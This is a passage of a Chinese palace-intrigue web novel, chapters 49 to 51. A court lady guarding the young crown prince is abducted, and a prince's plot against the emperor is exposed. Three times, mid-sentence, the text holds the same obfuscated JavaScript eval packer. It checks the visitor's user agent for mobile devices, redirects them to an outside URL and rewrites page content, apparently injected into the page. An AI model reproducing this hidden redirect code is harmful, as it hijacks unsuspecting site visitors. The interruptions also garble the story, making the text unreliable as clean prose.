“春夏交替,冷热不定,偶染风寒也是平常。不让殿下去,自是怕殿下过了病气,是陛下一片爱护之心。况且,臣的父亲今日照常去上朝了,便说明陛下身体尚可,殿下不必过虑。” 李衡听进去了,却仍有疑虑:“可是,我还见周贵妃带着长姊长兄去了,宗亲也有去侍疾的,我身为儿臣,为何不行?” “宗……亲?”露微心提了下,“殿下都见了哪些?” 李衡却摇头,“我只见了周娘娘他们,便让人去打听消息,是听说的。” 露微舒了口气,将眼睛转向窗外,天气明媚,和风煦日,但宫苑深深,只见得一方青天,望不得远际,“殿下可否答应臣,这段时日非陛下宣召,殿下便不要再离开东宫了,也不能再遣身边人去打探陛下的起居。” 李衡满脸懵懂,“为何?” 露微只是一笑,“是殿下说陛下不让去的,那臣便想,这既是君命,也是父命,君父之命,殿下自该遵从之。” 李衡犹自迟疑,似乎也找不出理由反驳,点了头,却正要说些什么,殿外忽有内官前来禀事: “殿下,赵太傅今天留在政事堂了,不知何时结束,先请赵学士好生看顾殿下。” 父亲不来了,但却是在政事堂,露微觉得是个令人安心的消息,但,仍有些事需要确认。 “那今天便不学了?” 还在思索,李衡扯了扯露微的衣袖,她抿唇,另起思绪,然后摇了摇头,“学!太傅平日多是为殿下讲经,臣才疏学浅,不通经义,就请殿下看段故事吧。” “什么故事?”李衡眼睛亮起来,倒是很有兴趣。 露微笑而起身,走到殿侧书架,取来一卷书册双手呈上。李衡拿到手里看时,见卷册名目写的是: 陈书,列传第三十。 …… 东宫夹道西侧的莲池,和露微上回来时稍有变化。虽还是未到盛放的季节,但伫立池畔,时能望见水鸭划过,与水下的鱼儿蓦然照面,惊得彼此上下穿梭。 正瞧得入神,忽而一双有力的手臂自身后环来,耳边便有稍显粗重的气息散来,“做什么站在风口里等?” 露微莞尔,转身相视,“谢中候不是说,身着甲胄,不能抱我吗?” 谢探微眼睛一圆,“我何曾这样说过了?我如何不记得?” 露微抿了抿唇,双手掌心轻抵在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723834|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸甲的圆护上,屈起两只食指轻敲了两下,“就是上元节那天夜市,才多久就忘了?” 谢探微好生回忆了一下,惭色渐渐浮现脸上。那天是正在巡街,遇上姚宜苏险生事端,露微撞见受惊落泪,他是因职分不便上前安慰,其实心里急得很。 “那时街上人多眼杂,此时此地又没有旁人。”谢探微陪笑道,“你到金吾传话叫我来,难道为计较这个?饶我一次吧。” 露微抬眼望着他,自眉眼到唇颌,瞧得极细,也缓缓收了脸上的笑意,“阿耶今天未到东宫授课,目下还在政事堂与陛下议政,可我又听太子说,陛下病了。你可知到底如何?” 谢探微亦停了笑容,松开手臂,将露微牵到一旁,扶她坐在了石上,自己则蹲于她膝前,目光深深,却一时没说话。 露微原想追问,话自喉舌,又抵于唇齿,“我知道了。” 谢探微轻皱眉,伸手抚了抚露微的脸颊,“你要好好的,你好一日,我便能多活一日,等一日日过去,我立马就来娶你。” 这是才说过一次的话,余温尚存,露微一笑,依稀能从他温和深切的眸色里看出些许锐意,也是坚定: “谢探微,你可还记得我第一次拒绝你的时候,就是那晚在我家后院,我说我的路不能让别人替我走,你也有你的路要走。” 谢探微这次是记得很清楚的,但并不太懂,“到现在了,这个问题还没有解决吗?” 露微摇头,“我后来发现,当时这话是傻的。天下道路千万,人虽各有其选,却也多有志同道合之人,你的路和我的路原本就可以是相同的。谢敏识,我愿此生都与你志同道合,你可敢与我立誓?” 谢探微目中惊住,但瞳色反着熠熠光泽,“于你的事上,我心胸之间,无不可言!”他仰起面孔,正声,“我谢探微誓与赵露微同道相合,终生不改,若有所违,便及黄泉,魂魄亦当烹之!” 露微并不愕然地表达感动之意,只将心中深慰倾身而下,在这人唇间印下记号,“谢郎,我等你来娶我。” 谢探微眼中光亮竟一盈动,眼眶浅红,“好。” 露微深吸了口气,瞧了眼天际残阳,却从袖中抽出了几张卷好的文稿,“今日斗胆,替阿耶教了太子殿下一课,内容我抄录了一份,想着也拿给你看看。” 谢探微立马接下打开,粗略过眼已知其文,很快便收好了,“微微,不早了,我先送你出宫回家。” 露微笑而摇头,拉着谢探微一同起身,“我已答应了太子,要给他继续讲故事。东宫已备下职房,我近日都不会回家了。” “你!”谢探微一惊,但一字之音未落,已被露微捂住了嘴巴。 露微更作一笑,将另一只手也举起来,抖落袖口,露出了手腕上的桃花纹镶金玉镯,“同行至道,终生不改。” 谢探微的神色松缓了下来,他知道,原本露微官服上职的时候都是不戴的,是他在露微生病时亲手戴了回去,“那这个,你也拿好。”他自腰间摘下一物。 露微低眼一看,却是刻着谢探微姓名部职的身牌,她自己也有,凡进出皇城公门必要出示查验,“我要这个何用?没了它你怎么上职啊?” 谢探微若有所思,却以温柔的一笑轻巧遮盖,回答之前,又先伸手露微腰间,取下了她系在革带上的身牌,“我们换。” 换。 49.戒严 东宫职房就在崇文殿西侧,露微留宿多日了。可虽用度齐全,还有宫婢侍奉,她却也不曾完全踏实。 又至深夜,辗转不眠,露微提灯来至廊下,头顶的皎月星空不能留住她的目光,掌心盘弄的身牌终究承接了一切心肠。 露微是从莲池回来才一时想通,谢探微留下身牌的意思是,他也留在宫里,不必进出了。而又将露微的身牌换走,这含义便顺理成章是要让她安心了。 然而,露微并不能探知谢探微留在禁内详细要做什么,只是从父亲的行踪能够得到佐证: 她决定留在东宫,便是那日听内官传话,先说父亲在政事堂议政,又说让她看顾太子。而后来几日,父亲也都不曾前来授课,其中意思便不言自明了——宫中在备大事。 “阿姊,你怎么还不睡?” 正入神时,小太子忽然从廊庑间走来,披衣趿鞋,身后只跟了个乳母钱氏。 “殿下不是已经睡下了吗?”露微连忙起身,只想着晚膳后,是亲眼看着李衡进寝殿才回职房的。 李衡不言,挽过露微,又拉着她坐了回去,并肩相视,才开口:“阿姊,你是不是同我一样,想父亲了?因为我不能去见,所以才陪我,也不回家去。” 露微略怔,竟不料李衡是为自己考虑,一笑:“没有,臣都这么大了,父亲也未远离,岂会过于思念?” 李衡仍不放手,眼中聚起倔强之意,倒脱了几分孩童相,显出分明的轮廓来,“阿姊,我睡不着,我们明日一起去看父皇吧!我听闻,太傅也一直在政事堂,等见完父皇,我也陪阿姊去见太傅。” 这话虽不离题,可露微的神色立时僵住了,“殿下如何知道太傅一直在政事堂?连臣也只是初来那日听内官传话。臣不是与殿下说过,不可再遣人打听消息的么?” 说着,她的目光又扫向李衡身后的钱氏,“是谁胆敢与殿下传言?!” 钱氏一惊,慌忙解释道:“奴婢只是跟着殿下,连日都不曾离开东宫,实在不知啊!” 太子身边侍奉的人,除了每日进学时不跟着,其余时间都不会远离,而露微连日则是相反,只在崇文殿侍奉。便细想来,似乎并无破绽,就只能问李衡自己了: “殿下,到底怎么回事?” 李衡一抿唇,低下了头:“阿姊,不是他们,是尚食局内官送膳时我问了几句。” 露微不是不能理解太子的孝心,也是她疏忽了,以为一句话就能让太子安心不问,而这东宫,亦到底不是与世隔绝之地。 不过—— “尚食局负责内宫膳食,非陛下赐食,别处是不能享用的,那内官是奉旨而来吗?何时的事?”露微忽然想起,东宫自有下设的典膳局操持饮食,她也不曾听闻有圣意传来。 李衡点头道:“就是今天掌灯之后,不过是一碗甜酪浆,我从小就爱吃,父皇从前也时常赏赐的。” 那也就是晚膳之后的事了,难怪露微不知,可仍有不解:“尚食局的内官因何知道政事堂的事?殿下是怎么问的?” 李衡吐了口气,皱起眉来:“我见是父皇赏赐,便顺便问他父皇如何,他回说父皇在紫宸殿养病,不朝多日,大臣们有事奏报都是去政事堂。我又问是谁主持政务,原是想替阿姊问问太傅在不在,可他正说是太傅主持大局。” 描述了这许多,却只是肯定了露微的疑虑:这内官来得奇怪,仿佛是刻意引动太子之心;而父亲赵维贞虽身为太傅,位列一品,却只是位尊而无权,参议朝政是平常,可主持朝政是中书宰相的事,父亲名望再高,也不可能越俎代庖。 她于是没再多问,扶着李衡起身,“夜深了,臣送殿下回寝殿。” “那明日去不去?”李衡虽跟着走了,却还是执着。 露微至此倒不能再用言语搪塞,想了想,眉心一皱,咳了几声,“殿下,臣忽然感觉有些不适,可能是廊下久坐,凉着了些。” …… 紫宸殿偏殿,虽至夜深,殿内却已是第三次添灯了。内官丁仁成自殿外进来,端着一碗汤药,呈送平榻之上的天子: “陛下,子时已过,还是早些歇了吧。” 李煦扶额靠在凭几上,脸色深沉,抬了一眼,“朕听说,东宫今日也传了太医?太子怎么了?” 丁仁成唇角微微抿动,略往一侧的围屏挪了半步,道:“回陛下,太子殿下无恙,是赵学士偶感风寒。近来因陛下养病,怕殿下染了病气,便免了殿下的请安,可殿下孝心牵挂,常觉不安,赵学士便留在东宫照料安抚。陛下也知,殿下自来是很喜欢赵学士的,赵学士说的话恐怕比太傅还要管用呢!” “这……”李煦叹了声,“这赵露微不是才刚病愈么?如此身体,倒是辛苦她了。太医如何说?不严重吧?” “尚好,陛下放心,太子殿下也定会命人好好照料赵学士的,究竟还是陛下自己要善加保养,陛下这病就是由劳心上起的,切不可再病中多思了。” 丁仁成说着,又将刚刚放在案上的药碗端了起来,稠黑的汤药反着榻旁明晃的烛火,都清晰地映在了李煦的眸子里。 “今夜殿外备职的医官是姚宜苏,此药是他亲手熬制的。方才老奴进来,他还嘱咐说,此药不可凉而再温,只能趁热饮下。” 李煦略一抬眉,抵着凭几正了正身子,似有所思,片刻后才终于接下: “让姚宜苏回去休息吧,明晚再来值夜。” …… 露微假称不适,果然引得小李衡关怀备至,不但不再嚷着要去看父皇,还一直陪在露微身旁。 然则,不到一日,那尚食局的内官又来了。露微既有戒心,便跟随李衡一道去见,只听还是皇帝赐食,所赐也依旧是甜酪浆,倒也不显得什么异常。 可事情却在这内官告退之际起了一丝微妙。 李衡因陪伴露微,便就在崇文殿偏殿接见了这个内官,故而身侧也没再叫乳母钱氏等宫人侍奉。而露微既未在辅教,又是病中,便也未着官服,只穿了平常衣裙。 便是这般,这常在内宫尚食局当差的小小内官,竟在露微起身相送之时,清清楚楚地说道: “请赵学士留步,小奴不敢劳烦赵学士相送。” 露微在东宫侍奉数月,东宫的宫人熟识她是平常。可她除了正月宫宴,便再未踏入内宫一步,就更没有见过尚食局的内官了,那此人是如何准确地认出她的呢? 只能是有备而来。 “阿姊,你怎么了?” 见露微停在廊下,小李衡也顾不得先吃,只来拉住她。露微却不能显露,把人劝回殿内,又传了钱氏来看护,这才交代了钱氏一句: “陛下连日赐食,当也是挂心殿下,我刚刚忘记替殿下谢恩了,恐怕不妥。请钱娘务必看住殿下,我去说两句话就回来!” 钱氏知道李衡看重露微,便也是言从计从,“老奴知道,赵学士放心就是。” 露微笃定地点了下头,不再拖延,快步而去。那内官的脚步倒快,露微一直追出了东宫宫门,才在夹道上将人叫住。 “不知赵学士还有何吩咐?”这人却很从容,只先恭敬施礼。 露微暗自打量,越发肯定了心中疑虑,一边示意同行,一边说道:“吩咐不敢,只是有事向内官请教,不知内官如何称呼?” “不敢,小奴贱名何同。” 露微一笑,道:“何内官,其实我是替太子殿下来问,殿下昨日听内官说了陛下的情形,刚刚倒忘了再问,不知陛下今日如何了?” 何同却有一丝凝顿,“小奴只是尚食局打杂的下等人,昨日不过是听旁人议论了几句,见太子提问,也不好不应。” 既是下等内侍,却能接触御赐饮食,送至东宫,而听议论便敢诉诸太子,又足是颇有漏洞。 “原来这样。”露微仍作一笑,深信的样子,“对了,我还听殿下同我说,何内官昨天也提到了家父,说家父连日未来东宫授课,是在政事堂主持朝政,不知今日他还在吗?” 何同停了步子,“这……政事堂的事,小奴就更不知详细了。” 露微只见何同不敢抬眼,便更知他心里有鬼,“所以,昨日也只是听说?” “……是的。” “哦!”露微抬高了声调,抹去了脸上笑意,“那好吧,还是多谢何内官了,我这就去给殿下回话。” 露微说完便向何同致了一礼,心里成算已备,等见何同去远了些,便转身而去。 然而——“赵学士!” 才是片刻,不料何同反追了上来,“赵学士不是要回东宫么?这条路不通呢。” 露微是不曾原路返回,而是侧转进了一条廊道,可何同这么快追来,想是刚刚也在留意她。 廊道空旷幽静,不似宽阔的夹道上有禁军守备。 “何内官不用回去复命吗?” “小奴觉得,还是先给赵学士指条明路,更为重要。” …… “阿兄瞧是怎么了?还不到申时金吾就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728208|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清街了!” 杨君游下职到家,还不及下马就见小妹从门里迎出来,小妹所问,他亦早有所觉。 “金吾本职如此,偶有变动不足为奇。”杨君游神色略沉,牵住小妹,又向街上观望,“父亲可回来了吗?” 杨淑贤摇头:“还不曾回来,我就是一个人呆得不踏实才出来看看。阿兄不知,早上我去赵家便感觉街上不同,到了赵家也不见微微阿姊,婢女说她留在东宫多日了,阿兄可在皇城见着她了?” 杨君游就是上次在吏部见了露微一回,也去不了东宫,哪有随意能碰见的事,想了想道: “贤儿不怕,你先回房,我叫景舟替你守在院外,我先往国子监迎迎父亲,回来再陪你。” 景舟是杨君游的仆从,正给他牵着马,但淑贤也知,景舟自来不离长兄,长兄也就这一个随从,哪有替自己守着的理,正要再问,一抬眼,父亲的车驾已至街前。 兄妹二人赶紧迎了上去,却见父亲脸色凝肃,“你们还站在这里做什么?都给我回家去!” 还? 多了一个字,意思就深了,杨君游马上问道:“父亲,我方才从皇城过来,见朱雀门的守卫增了一倍不止,是发生了何事吗?今天也不曾早朝。” 杨献神情微微一变,先瞥了眼女儿,“不要妄议!” 杨君游是一时情急不察,忙抿住嘴,明白父亲是怕吓到小妹,因而心里发沉,忖度着是宫里不大好,却也不敢深猜。 杨淑贤倒还发懵,明明父兄说的每一个字都听得清,连在一起却不知什么意思,便也无从问起。 然而,正当杨献领着兄妹二人上阶进门之际,街前忽作铿锵之声,引得三双眼睛一起看去,是自街南转来的一支军队。 目下已过平素夜禁之时,但细看这只军队的甲胄样式,竟然既非巡街的金吾,也非咸京诸卫中的任何一部。而其队列似乎颇长,一时并不见尾。 提前宵禁清街,又突然出现一只部别不明的军队,杨献和杨君游都惊住了,可这时,一直顶着头雾水的杨淑贤却忽然惊呼: “陆冬至!”她叫的是领军为首,骑在马上的那人。 声音传去,父兄都愕然看向了她,也是同时,被叫的人扬手示意,军队就停在了杨家府前。 “陆冬至,真的是你!”杨淑贤确认了这个身影,见他翻身下马,也自迎了上去,“你在干什么?” 淑贤还是不懂怎么回事,只是熟悉这张面孔,而仅仅是面孔,这人在此情此景下,竟又显得百般不同:凝目,凝色,全不见平时嬉笑幼稚的模样。 “贤儿。”陆冬至轻唤,嗓音却也是沉的,眼睛转向淑贤身后随来的父兄,眉头一皱,脱开握着佩剑的手,行了一礼。 杨献自是不认得,可看儿女的情状,心里思量未动声色。杨君游倒是见过一次,相隔时间也不长,却是和小妹一样,对陆冬至前后的反差极是疑惑,先还了一礼。 “说话啊!你在干什么?”淑贤也顾不上父兄,急着追问。 陆冬至舒了口气,对淑贤摇了摇头,“杨司业,杨员外,请你们速速回府安置,紧闭大门,无论什么动静都不要再出来,没有动静也不能出来!” “为什么?!” 淑贤慌了,脚步一软,被陆冬至抬手扶住,杨君游见状,适时地接过小妹,揽到了身侧,接上了话: “陆执戟,你说的杨某记下了,只是不知要到何时?或者,以何为号?” 陆冬至低眼一想,忽而转身,从军列之中分出了两个士兵,“我不知要到何时,只能告诉杨员外,咸京内外自今夜起戒严。我留两个人在这里,为府上守门,他们只听我的,一旦了事,我便再来登门,就——以我为号吧!” “好!”杨君游一声掷地,毫无犹豫。 陆冬至不能再多停留,便点头转身,却被杨淑贤那双忧恐的眸子拽住了。略一顿步,他弯下腰,从战靴的裹腿处抽出一把短刀。 “这……”他想给杨淑贤,举出一半还是转向了杨君游,“这是我十五岁那年在战场上缴来的,一直很喜欢,凡战必带,请杨员外收好,只当是护身符吧。” 杨君游眼中闪过惊诧,旋即转为毅然,而才要伸手去接,却被杨淑贤推了回去:“你自己留着!” 陆冬至淡淡一笑,复将短刀递到了杨君游掌中,“拿好!” 至此,他没再留步,动作敏捷地上了马,只是领队开拔之际,举手号令之间,在余光里偷偷地瞧了杨淑贤一眼。 50.偏锋 露微的记忆在静谧的廊道中停下了一段,再续上时,竟是在一间重帘深帐的内室之中。室内有灯,灯下有人,四目相视之间,只听话音柔缓: “你醒了。” 露微怔然望着这人的面孔,她认得,也因此惊恐渐定,“看来,何季果然是李元珍的人。王妃便直说吧,你们将我拘来,意欲何为?” 李元珍,王妃,露微如此直言,正因对面之人就是舒青要。 夹道上三言两语,露微已经试出了何季的面目,而其背后的主人自然不出李元珍。 从莲池见过谢探微,露微便知内宫已在布局,连皇帝养病的消息恐怕也在局中。于是她才留在东宫,稳住年少的太子。只是在何季出现之前,她也不曾料到,李元珍竟想一箭双雕。 她想起父亲曾言及,若二十年前,姚炯不曾发觉李元珍弑杀先帝之事,那当时还是太子的陛下,自也是俎上鱼肉。原来,李元珍如今故技重施的不止是手段,竟还有同样位置上的人。 然而,露微的话音落下许久,舒青要也只是愕然,“我不认识何季,也不知是谁把你拘来的。” 露微对舒青要的了解限于与姚宜苏的旧事,便是宫宴上遥遥一见,也只是记住了这张异常娇美的脸,而自从知道了李元珍的阴谋,露微也几乎忽略了舒青要的存在。 难道,舒青要的作用其实并没有那么大? “这里是楚王府?”虽存疑,露微仍不敢轻信,“我原是在宫里的,总不能是自己来的吧?” 舒青要抿唇低头,却越发显出些难色,“这里是楚王府不假,只是大王不在,他奉旨入宫侍疾去了。他走后不久,便有一辆马车驶到府前,扔下你就走了。” 李元珍已经入宫了! 她离开这么久,东宫必已发觉,万一李衡为了寻她,也离了东宫的界……想到这里,露微浑身一颤,再对上舒青要的目光,更添惶惑: “那王妃可知道我是谁吗?” 舒青要点头:“你是赵太傅的女儿赵露微,我在宫宴上留意过你,因为你也是姚……我虽不知谁送你来,但我无意伤害你。” 几句话倒是简明扼要,然则露微并不是想叙旧,略做思考,只道:“王妃既无意害我,那现在事情紧急,就恕我直言了,我知道王妃与姚宜苏的往事,只是到如今,你还对他有情吗?” 舒青要一惊,虽未表态,面上表情已叫露微看懂了,便紧接着又问:“那你想帮李元珍,还是想救姚宜苏?” “我……”舒青要一通慌乱,呼吸急促起来,“你知道姚宜苏在帮李元珍?!那你既然对他还有情,为什么不早些与他和好?他就是为了和人争你才……” “王妃!”露微知道她要说什么,适时地打断,却也更加确定了她的心意,“我不可能再与他和好了,只是王妃若能明辨是非,便是于他有利!” 舒青要垂摆身前的手不觉握紧,质疑地看着露微,“我知道,他曾为我苛待于你,可他已经后悔,我也不能成为你们的阻碍,你为什么不能再给他一次机会?他真的很苦,从六岁起,有太多的不得已!你既能走进他的心里,便也该是深知他的呀!” 即使姚宜苏早已弃爱,舒青要竟还是情深至此,露微开始有些意外了,亦是难免共情,缓了缓道: “我确实为他伤心过,可事到如今也只是看不懂他,却不算恨他。然而,你也不能将你做不到的强加在我的身上,你并不知我那三年是如何过来的,我,问心无愧。” 舒青要落下泪来,捂着胸口,表情痛苦,“是我害了他,终究是我害了他……” 露微轻叹了声,但很快转为正色:“当年你们婚事未成,是因为我与他的婚约在前,可我父亲定此婚约,追根溯源也是因为李元珍。你可知道,李元珍害死了他的父亲?” 舒青要惊惶抬头:“此事,你也知道!那你告诉他了吗?” “是的,但是他并无改变。” 舒青要的脸色变得惨白。 露微深吸气,心想:这舒青要果真是知晓一切的,只是看来也身不由己,应该并不在李元珍的核心之内。 “我同你说实话,李元珍谋逆,也想害太子,我今日便是发觉了他的手段,一时不慎才被打晕至此。可我既然是他许给姚宜苏的好处,便越是不能在此刻为他挟制。所以,你想好了吗?放了我,我现在必须回宫去!” 然而,话已经说到如此透彻的地步,舒青要却反而疑惑起来:“我没有不放你!我只是对李元珍的谋划一无所知,什么也帮不了你。况且,你现在出不去,外头不知因何戒严了,进宫也只怕更难。” 什么?! 难道周旋至此,想要说动舒青要倒戈,竟是用错了力道?出不去,不是因为被楚王府看押,却只是因为外头戒严? 露微一瞬糊涂,但很快又理通了:她对李元珍重要,可舒青要并非关键人物,若她被关押,舒青要该是不能轻易来见。 可这样一来,她被掳劫至此,便无法解释了。 “将我带来的马车你认得吗?可看到驾车人了?” 舒青要一一否认。 …… “陛下,该进药了。” 紫宸殿,皇帝方从平榻上稍稍起身,叫丁仁成奉了凭几扶靠好,气力颇有些不济,见宫人端药进来,先未理,只对榻侧四足杌凳上坐着的人,歉然一笑: “皇叔怕是来得匆忙,这时辰,可用过饭了不曾?” 下坐之人,正是奉诏侍疾的李元珍。 诏命送抵楚王府时,申时才过,如今已是上灯之时,而楚王府离禁内极近,断花不了这一二时辰,故而李元珍不过是在殿外空候至此,晚食自未安排。 然则既此问,他亦只能起身谦辞:“不妨,请陛下以圣体为重,还是先进药吧。” 李煦仍只是看去一眼,却转叫丁仁成备食案,才道:“想来,皇叔比朕还年少几岁,这些年远离京都繁杂,想是东篱携酒,南轩听曲,好不闲散自任,便才养得容华一如从前,朕远不能及。” 李元珍听来嘴角衔笑,并不再起身,若有所思,坐着略一拱手,“诚如陛下所言,时过境迁,人非草木,岂能岁岁如新?臣不过是比陛下略小两岁,亦是年将不惑了。况且,陛下恩准臣返京,就是因为臣的旧疾,多病之人,唯恐年不吾与,还谈什么容华呢?” 李煦将听出的意思泯然于漆深的眸子,微抬下颌,“哪里的话,皇叔回京也有数月了,朕都看皇叔气色甚好,否则,怎会忍心传召,叫皇叔病躯侍疾呢?皇叔这话,是怪朕么?” “臣,不敢。”李元珍微有一惊,这才又起身,祥和的面貌上分明也多了一丝狐疑。 皇叔,侍疾——又分明是不太搭配的言辞。李元珍觉出味来,但一时,也觉不出是什么味。 李煦不语半晌,等备食的宫人在门下禀报,才打破了殿内的沉寂,也只是递了眼色与丁仁成,“皇叔,坐下,用些吧。” 李元珍只见丁仁成将食案端放身前,未动,先低头过了一眼,一道鹅肉凉盘,一盘箸头春,还有一碗黄粱饭。 “虽是简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731602|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薄了些,但朕连日病着,已许久不食荤腥,倒是羡慕得很,皇叔若再不坐下,朕……” “臣……” 李元珍还是站着,眉头略蹙,而这间隙,却有另一个声音闯了进来: “陛下,臣姚宜苏求见。” …… 夜色方浅,清露已降,收去了白日浮空的微尘,天地之间一片洁净,唯见宫阁殿宇,暗影森森。 弦月淡光笼罩之下的宫道上,陆冬至步履匆匆,甲胄和佩剑应着笃定的步伐发出铿然之声,紧随其后的还有一位宫婢打扮的小女子。 很快,二人通过层层戍卫,进到了宫门之内的金吾仗院。 “露微,仗院相对的就是外朝含元殿,我去不了内朝,你可想好了吗?当真非去不可?” 才及站定,陆冬至就急促地开了口,只因从在朱雀门下惊见这张面孔,他就充满了恐慌。他知道,露微原该是一直在东宫的。 露微却一直是从容的。 她被掳劫到楚王府是个异数,但事有轻重,实在只能先回宫。而万幸的是,谢探微同她互换的身牌,竟在此时派上了大用。她不但未受到禁街金吾的阻拦,戍守朱雀门军将还是陆冬至。 按陆冬至所言,今夜是请君入瓮,咸京的军队已大作改动,宫中更是暗藏玄机。她回宫前尚有些怕东宫因她的失踪再出闪失,好在又知,自戒严起,羽林卫接管了东宫的戍卫,并无不妥,便看来钱氏果然将她的话严守着。 “你找个人给我带路,就不必再管了,我另有事请你相助。”思绪一定,露微只回以正色,“方才在楚王府,我已向楚王妃陈清利害,她若不相负,今夜必会说动她父亲舒正显前来自首,你就去城门接应,先将他们看管起来便是。” 陆冬至自然知晓舒正显是个要害人物,一大惊,却道:“你和谢探微想到一处去了!只是舒正显毕竟和李元珍是姻亲,确定他入宫前,怕令他起疑,就只先将李元珍的其他党徒暗中扣押住了。” 露微一路过来,倒还不及问起今夜的详细安排,但也不难猜谢探微此刻定是驻守紫宸殿以备动作。 她执意要去,原是想以自己的现身,解除李元珍对姚宜苏的挟制,便能断了李元珍弑君的手段。然则事情有变,姚宜苏应该根本就不知道她被掳去了楚王府。那以此推算,李元珍今夜入宫大约也是并无准备的。 毕竟,自保宁坊事发,李元珍和皇帝的博弈已近乎是明面上的事,只待一层窗纱捅破。这般明确的形势,李元珍难道会不察?而今夜李元珍奉诏入宫的理由是侍疾,则更是反常的明确。 露微再深知不过,今上素来以德治世,极看重君臣长幼的礼序,侍疾之事,传召后宫妃嫔,乃至平辈小辈是寻常,怎会特叫宗亲之中,身份最尊的长辈来呢? 若要此事合理,那只能是皇帝故意:既能令李元珍接旨之后,以为明灯之下无夜路,放松警惕,更可叫他措手不及,无力反抗。 然则,皇帝如此深谋,就是因为二十年前证据湮灭,想动李元珍却师出无名,那今夜明火执仗,又怎图其名? “谢探微想做什么?里面到底如何安排?”捋清了重重关窍,露微只想知道最后的谜底。 到了此刻,陆冬至再无谓隐瞒,直言道:“你是说动楚王妃劝父自首,他是拿了太常少卿孙严,面君弹劾李元珍。孙严这个人你该熟知,正是二十年前李元珍弑君的帮凶。” 露微明白冬至为何说她和谢探微想到一处了,不都是动了李元珍的亲信,断其根基,让天子有其“名”么? 51.雨收 “陛下!臣奉诏侍疾,何堪受此污蔑?!” 夜色如晦,夜静无息,紫宸殿偏殿之内,却似毫无预兆地,乍然传出一句凌厉的嘶吼。等到守在殿外的宫人侍臣闻声入殿护驾,已见两名金吾将这人左右按下。 殿内尚有他人,但奉诏侍疾而来的唯是楚王李元珍。 座上的皇帝抿着冷笑,早脱离身侧的凭几,身躯笔直:“李元珍,你与孙严诸人同谋悖逆,居心难问,他们都已招供,证据具在,你还敢不认?!” 李元珍恍然瞠目,气息开始喘促,却极力又昂起头颅,“天下皆知陛下崇德重礼,假使臣果有悖逆,便是与天下为敌,任何人都可讨伐臣,焉能成事?况且,臣本是高宗嫡子,尊贵已极,为何要冒灭身之险以求一逞?臣不当有此逆谋!!” “孙严现就在殿外,大王敢和他当面对质吗?!” 这紧接着的驳问却非出皇帝之口——谢探微,他早候在连通偏殿的耳室之内,适时地出现,直言弹劾,便才逼得李元珍挑破了偏殿的安宁。 李元珍斜目望去,竟一笑,“臣居南营州二十载,不问朝事,根本不知孙严何人。谢探微,你不过一个区区巡街金吾,竟敢勾结宵小,构陷于我?”又将目光转拂向皇帝: “谢探微如诬陷臣,臣当如何?陛下既从来修德,今却借侍疾之名欲加其罪,又当如何面对天下人?!” “大王不必再顾左右而言他!!”谢探微一无惧色,禀过皇帝,亲自将孙严从殿外提了进来,又蔑然一笑: “大王可想听听,孙严是如何交代的么?又或者——想不想再见一见,与大王交好多年的雍州守将?大王若不嫌殿内拥挤,下官还可以再走一趟!” 浑身镣铐的孙严早已吓得魂飞魄散,而李元珍却根本不必见孙严,早已在听到“雍州守将”四个字时,脸上的血色便迅速地自面皮下褪成一片惨白。 …… 金吾仗院的一间值室内,露微无奈地瘫坐墙边,嘴唇干涩,面容焦灼,而这屋外不仅上了锁,还有站班的金吾看守。 数个时辰前,就在她与陆冬至交代完所有事情之际,却忽然被硬生生拉进了这间值室,凭她时时叫喊,都不起作用。 长夜将阑,渐有微光透窗而来。 “微微!微微!” 不知几时,神思恍惚之间,心意却已被这呼声惊醒,只觉轰然,终于抬起双眼,见到了这倾身冲来的人—— “微微!我来了!” 只是数日不见,只是一夜等候,却在一瞬,让露微有隔世之感,然而,她到底是清醒的,“如何?” 谢探微慨然一笑,捧起露微沾着灰尘的脸颊,眼中却已有泪光,“强弩之极,不穿鲁缟,穷途之哭,亦已焉哉。微微,成了!” …… 紫宸殿内大事收场,可天光熹微之际,皇帝却还留住了一人。这人亦是昨夜的见证者,但自始至终伏于殿侧,并不得参与其中。 “昨夜你来求见,原该是有话要说,可你没有料到朕的安排,被谢探微打断了,对吗?”李煦垂目望着依旧伏跪在地的此人,眼中流露君王的威严,却亦是饱含无奈的: “看在你父姚炯的份上,朕就再给你一次机会,说吧。” 姚炯之子又得侍奉君侧,便是医官姚宜苏。确如李煦所言,他昨夜正是想要有所作为,但临事突变,终究一步也没跨出去。 此刻他缓缓抬头,一双布满血丝的眼睛眸光微颤,像是惊诧,又不见委顿,“臣,绝无谋害陛下之心,只是臣二十年来,独木之支,闭目塞听,等到悉知往事,却已为时晚矣。” 